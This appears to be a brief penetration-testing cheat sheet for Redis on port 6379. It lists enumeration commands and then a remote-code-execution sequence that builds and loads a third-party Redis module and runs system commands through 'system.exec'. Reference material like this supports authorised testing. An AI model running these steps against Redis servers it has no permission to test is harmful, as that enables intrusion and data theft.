# Redis Pentesting (Port 6379)

Source: https://pentest.h4rithd.com/tcp/redis-or-6379/  
Section: TCP  
Ports: 6379  
Updated: 2026-10-26  
Author: Harith Dilshan (h4rithd), https://h4rithd.com

## 00 Basic

```bash
## ------------------| Connect
sudo apt-get install redis-tools
redis-cli <IP>

## ------------------| Authentication
AUTH <USER> <PASS>

## ------------------| Enumerations
INFO
CONFIG GET *
INFO keyspace
SELECT 1
KEYS * 
GET <KEY>
```

## 02 RCE

* [RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)

```bash
## ------------------| Setup
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git 
cd RedisModules-ExecuteCommand && make
cp module.so /dev/shm/

## ------------------| Load module in to radis
MODULE LOAD /dev/shm/module.so
MODULE LIST
system.exec "id"
```
